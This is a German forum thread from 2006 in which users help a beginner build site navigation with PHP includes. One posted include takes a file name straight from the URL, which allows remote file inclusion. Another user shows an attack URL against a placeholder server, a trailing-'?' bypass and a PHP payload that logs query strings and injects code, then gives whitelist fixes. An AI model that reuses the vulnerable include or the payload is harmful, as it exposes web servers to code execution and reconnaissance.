• Aktualisierte Forenregeln

    Eine kleine Änderung hat es im Bereich Forenregeln unter Abschnitt 2 gegeben, wo wir nun explizit darauf verweisen, dass Forenkommentare in unserer Heftrubrik Leserbriefe landen können.

    Forenregeln


    Vielen Dank

Frames

T

Trout

Gast
Hi,
ich hab ein kleines prob mit dreamweaver. meine seite hat ein hintergrundbild, oben sind die buttons zur navigation und unten soll dann alles angezeigt werden (also z.b. über mich, fotos, usw.) muss ich die seite in 2frames teilen?
kann den frames immer nur einzeln ein hintergrundbild zuweisen?
mfg
trout
 
Also: Wenn du nicht auf jeder einzelnen Unterseite Buttons zur Navigation erstellen willst, dann solltest du die Page tatsächlich in 2 Frames unterteilen!
Das würde dann ja quasi so aussehen:

Buttons
----------

"Aktionsseite"

Kennst du denn den Befehl, dass sich nur der Frame "Aktionsseite" verändern soll, wenn man auf einen der Buttons drückt? Ansonsten könnte ich ihn dir mal eben abtippen! Ein Problem gibt es da allerdings: Wenn du die Seite in 2 Frames aufteilst, dann wird das natürlich nichts mit deinem Hintergrundbild! Das wird dann ja logischerweise nur in einem Frame dargestellt!

Mfg. Klon1234
 
Klon1234 am 13.02.2006 17:34 schrieb:
Also: Wenn du nicht auf jeder einzelnen Unterseite Buttons zur Navigation erstellen willst, dann solltest du die Page tatsächlich in 2 Frames unterteilen!
Das würde dann ja quasi so aussehen:

Buttons
----------

"Aktionsseite"

Kennst du denn den Befehl, dass sich nur der Frame "Aktionsseite" verändern soll, wenn man auf einen der Buttons drückt? Ansonsten könnte ich ihn dir mal eben abtippen! Ein Problem gibt es da allerdings: Wenn du die Seite in 2 Frames aufteilst, dann wird das natürlich nichts mit deinem Hintergrundbild! Das wird dann ja logischerweise nur in einem Frame dargestellt!

Mfg. Klon1234

also das sich nur die aktionsseite verändert funzt, aber ich finds blöd wenn meine seite nur in einer farbe ist. ich hab das schon bei manchen seiten gesehn, irgendwie muss das funzen ^^
trozdem danke
 
du müsstes dein bild so zuschneiden, dass es sich ergänzt. allerdings wird sich die frame größe wahrscheinlich bei vielen browsern verschieben.

Wie ich vermute kannst (kennst) du kein php, dann könntest du deine Seite auch ohne frames machen.
 
sLost am 13.02.2006 18:13 schrieb:
Wie ich vermute kannst (kennst) du kein php, dann könntest du deine Seite auch ohne frames machen.
Naja so schwer ist das nicht...

Einfach das Menü in die Datei menue.html packen (ohne <body> Tag oder sowas, einfach nur die HTML-Sachen) und in der index.php (wo auch alles andere drin ist, inhalt, hintergrundbild usw) dann mit
Code:
<?php
 $menue="menue.html";
 include($menue); 
?>
einfügen, so schwer ist das nicht...

Wenn du dann mit dem Browser die index.php aufrufst, packt der Server den Inhalt der menue.html dann automatisch in den Quelltext rein, davon merkst du gar nichts!


So kannste das dann mit jeder Unterseite machen, dann kannst du das Menü ganz einfach über die menue.html überall gleichzeitig ändern :)

Dann klappts natürlich auch mit dem Hintergrund ;)
 
also das sich nur die aktionsseite verändert funzt, aber ich finds blöd wenn meine seite nur in einer farbe ist. ich hab das schon bei manchen seiten gesehn, irgendwie muss das funzen ^^
trozdem danke
Also verschiedene Farben in den Frames ist ja kein Problem:

<html>
<body bgcolor = "xxx">
Blablabla
</body>
</html>

Nur ein Hintergundbild in mehrere Frames einzubinden, dass ist echt was komplizierter!

Mfg. Klon1234
 
Cooli11 am 13.02.2006 18:25 schrieb:
sLost am 13.02.2006 18:13 schrieb:
Wie ich vermute kannst (kennst) du kein php, dann könntest du deine Seite auch ohne frames machen.
Naja so schwer ist das nicht...

Einfach das Menü in die Datei menue.html packen (ohne <body> Tag oder sowas, einfach nur die HTML-Sachen) und in der index.php (wo auch alles andere drin ist, inhalt, hintergrundbild usw) dann mit
Code:
<?php
 $menue="menue.html";
 include($menue); 
?>
einfügen, so schwer ist das nicht...

Wenn du dann mit dem Browser die index.php aufrufst, packt der Server den Inhalt der menue.html dann automatisch in den Quelltext rein, davon merkst du gar nichts!


So kannste das dann mit jeder Unterseite machen, dann kannst du das Menü ganz einfach über die menue.html überall gleichzeitig ändern :)

Dann klappts natürlich auch mit dem Hintergrund ;)

die unterseiten wären dann index1.php, index2.php usw. oder?
 
Hi,

ums kurz zumachen ;),

entweder mit php
oder
html und css
und
frames erst garnicht versuchen, da es nicht mehr HTML Standart ist und sich für USer nachteile ergeben

ich würd dir Raten php zu versuchen oder html, man kann auch in html zum bsp gleiche inhalte wie den header also menübereich z.b. in eine extradatei machen und die includen...mit php geht das alles natürlich eays und css benutzen um dann beim ändern vorteile zuhaben, sprich ändern an einer stelle, auswirkung überall wo es geändert werden soll...

MfG Flixus

edit: gibts auch nen link zu deinem vorhaben?
 
Cooli11 am 14.02.2006 07:40 schrieb:
Trout am 13.02.2006 20:10 schrieb:
die unterseiten wären dann index1.php, index2.php usw. oder?
Joa, kannst ja benennen, wie du willst...

hauptsache .php ;)

man muss aber dann die Links anders machen:
z.b.:
<a href="index.php?loc=namederseite.html">blabal</a>

Mein php code für das einbinden ist dann:
<?php
$datei = $HTTP_GET_VARS['loc'];
if($datei == "")
{
$datei = "home.html";
}
include $datei;
?>
 
sLost am 15.02.2006 14:03 schrieb:
man muss aber dann die Links anders machen:
z.b.:
<a href="index.php?loc=namederseite.html">blabal</a>

Mein php code für das einbinden ist dann:
<?php
$datei = $HTTP_GET_VARS['loc'];
if($datei == "")
{
$datei = "home.html";
}
include $datei;
?>


index.php?loc=http://www.meinserver.de/gefaehrlicherCode.txt
was machst du dann?
ein wunderbares beispiel fuer cross site scripting, vielen dank..
BITTE DEN CODE NICHT VERWENDEN!
man koennte zum einen pruefen, ob die datei in einem bestimmten array enthalten ist:
Code:
$valid = array("home.html","guestbook.html");
if (in_array($date,$valid)) // ...
oder, was einfacher waere, einen regulaeren ausdruck verwenden..
 
Ahh stimmt sch$$ße.
Tschuldigung.
ich mach das so, dass loc kein name mit dateiendung ist sondern die endung erst im nachhinein angefügt wird.
aber dass mit den arrays wäre wohl sicherer
 
marky68 am 15.02.2006 14:47 schrieb:
[index.php?loc=http://www.meinserver.de/gefaehrlicherCode.txt
was machst du dann?

wie wäre es wenn man nur den seitennamen über gibt??? und in der index dann die richtige endung dran hängt??? dann geht wohl das cross gefährliche code wohl kaum oder doch so ala

index?site=wasweis.html
und in der index dann include($site + "blabla.php");

wäre dennoch die gefahr gegeben?

da die eh includet werden würden, würde man ach nicht die tatsächliche endung die drangehangen wird rausbekommen oder irre ich da?

MfgFlixus
 
Hi hab mich auch mal mit webdesign8html,javascript,css und eben bissl PHP) beschäfftigt,komme aber mit dem includen nicht klar.
Könnte jemand genau schreiben wie der hyperlink und wie die include stelle aussehen müssen.Tausend dank an den der es mir verständlich schildern kann.Bitte den Code dazu schreiben.
thx virenschlucker
 
Flixus am 15.02.2006 20:43 schrieb:
wie wäre es wenn man nur den seitennamen über gibt??? und in der index dann die richtige endung dran hängt??? dann geht wohl das cross gefährliche code wohl kaum oder doch so ala

index?site=wasweis.html
und in der index dann include($site + "blabla.php");

wäre dennoch die gefahr gegeben?

da die eh includet werden würden, würde man ach nicht die tatsächliche endung die drangehangen wird rausbekommen oder irre ich da?

MfgFlixus

so wie du das hier schreibst ja.
Pass auf, wenn ich an die uebergebene variable einfach nur ein "blabla.php" anhaenge, also so:
Code:
include $_GET['loc']."blabla.php";
dann wuerde ja erstmal mein beispiel nicht funktionieren, denn es wuerde ja versucht, http://www.meinserver.de/gefaehrlicherCode.txtblabla.php zu "includen", was ja nicht geht. aber wenn ich nun anstatt http://www.meinserver.de/gefaehrlicherCode.txt das hier uebergebe:
http://www.meinserver.de/gefaehrlicherCode.txt?
dann sieht die sache schon ganz anders aus, denn dein blabla.php waere als parameter an gefaehrlicherCode.txt? angehaengt worden, was den webserver von www.meinserver.de nicht stoert. ergo - gewonnen habe ich damit nichts.
mehr noch, wenn ich die gefaehrlicherCode.txt in gefaehrlicherCode.php aendere und das hier darein schreibe:
Code:
<?php
$fp = fopen("qs.txt","a");
fwrite($fp,$_SERVER['QUERY_STRING']."\n");
fclose($fp);

echo "<?php echo \"evil!!\"; echo \$PHP_SELF; phpinfo(); ?>";
?>
dann habe ich als admin von www.meinserver.de eine textdatei mit allen query strings, also auch blabla.php, wodurch ich zumindest schonmal etwas ueber die verzeichnisstruktur deines servers weiss.. ;)


@virenschlucker:
Code:
<?php
$loc = $_GET['loc'];
$arr = array("home.html","guestbook.html");
if (in_array($loc,$arr) && file_exists($loc)) include $loc;
else exit;
 
marky68 am 16.02.2006 14:16 schrieb:
Flixus am 15.02.2006 20:43 schrieb:
wie wäre es wenn man nur den seitennamen über gibt??? und in der index dann die richtige endung dran hängt??? dann geht wohl das cross gefährliche code wohl kaum oder doch so ala

index?site=wasweis.html
und in der index dann include($site + "blabla.php");

wäre dennoch die gefahr gegeben?

da die eh includet werden würden, würde man ach nicht die tatsächliche endung die drangehangen wird rausbekommen oder irre ich da?

MfgFlixus

so wie du das hier schreibst ja.
Pass auf, wenn ich an die uebergebene variable einfach nur ein "blabla.php" anhaenge, also so:
Code:
include $_GET['loc']."blabla.php";
dann wuerde ja erstmal mein beispiel nicht funktionieren, denn es wuerde ja versucht, http://www.meinserver.de/gefaehrlicherCode.txtblabla.php zu "includen", was ja nicht geht. aber wenn ich nun anstatt http://www.meinserver.de/gefaehrlicherCode.txt das hier uebergebe:
http://www.meinserver.de/gefaehrlicherCode.txt?
dann sieht die sache schon ganz anders aus, denn dein blabla.php waere als parameter an gefaehrlicherCode.txt? angehaengt worden, was den webserver von www.meinserver.de nicht stoert. ergo - gewonnen habe ich damit nichts.
mehr noch, wenn ich die gefaehrlicherCode.txt in gefaehrlicherCode.php aendere und das hier darein schreibe:
Code:
<?php
$fp = fopen("qs.txt","a");
fwrite($fp,$_SERVER['QUERY_STRING']."\n");
fclose($fp);

echo "<?php echo \"evil!!\"; echo \$PHP_SELF; phpinfo(); ?>";
?>
dann habe ich als admin von www.meinserver.de eine textdatei mit allen query strings, also auch blabla.php, wodurch ich zumindest schonmal etwas ueber die verzeichnisstruktur deines servers weiss.. ;)


@virenschlucker:
Code:
<?php
$loc = $_GET['loc'];
$arr = array("home.html","guestbook.html");
if (in_array($loc,$arr) && file_exists($loc)) include $loc;
else exit;

ja und wie sieht das mit link/button aus ?
möchte ja,dass das script den inhalt ja nach gewähltem link einfügt
 
virenschlucker am 16.02.2006 16:19 schrieb:
marky68 am 16.02.2006 14:16 schrieb:
@virenschlucker:
Code:
<?php
$loc = $_GET['loc'];
$arr = array("home.html","guestbook.html");
if (in_array($loc,$arr) && file_exists($loc)) include $loc;
else exit;
[b]?>[/b]

ja und wie sieht das mit link/button aus ?
möchte ja,dass das script den inhalt ja nach gewähltem link einfügt

das waere ja dann zB. <a href='skript.php?loc=home.html'>Home</a>
Hab noch das skript oben berichtigt..
 
Ich hab mich dazu entschlossen wie folgend mit dem include umzugehen:
hloc hat den wert einer zahl (z.b. index.php?hloc=1)
$datei = $HTTP_GET_VARS['hloc'];
dann hab ich ein array:
$bal = array("home.htm","seiteeins.htm","seitezwei.htm",...);
und dann das include:
include $bal[$datei];
in diesem fall würde "seiteeins.htm" eingeschlossen werden.

Jetzt frag ich nocheinmal ob das auch wieder sicherheitslücken birgt. :confused: :-D
 
nicht dass ich wuesste. ich wuerde hoechstens noch ein if ($datei && is_numeric($datei)) einbauen :) (und HTTP_GET_VARS durch $_GET ersetzen)
 
marky68 am 17.02.2006 14:01 schrieb:
nicht dass ich wuesste. ich wuerde hoechstens noch ein if ($datei && is_numeric($datei)) einbauen :) (und HTTP_GET_VARS durch $_GET ersetzen)

Soweit ich weiß ist $_GET nur eine neuere Form. Kann es sein, dass $HTTP_GET_VARS nicht mehr erkannt wird ??
Was bringt das is_numeric da noch. Wenn jemand an der url herumspielt ist er selber schuld wenn keine seite angezeigt wird.
 
Zurück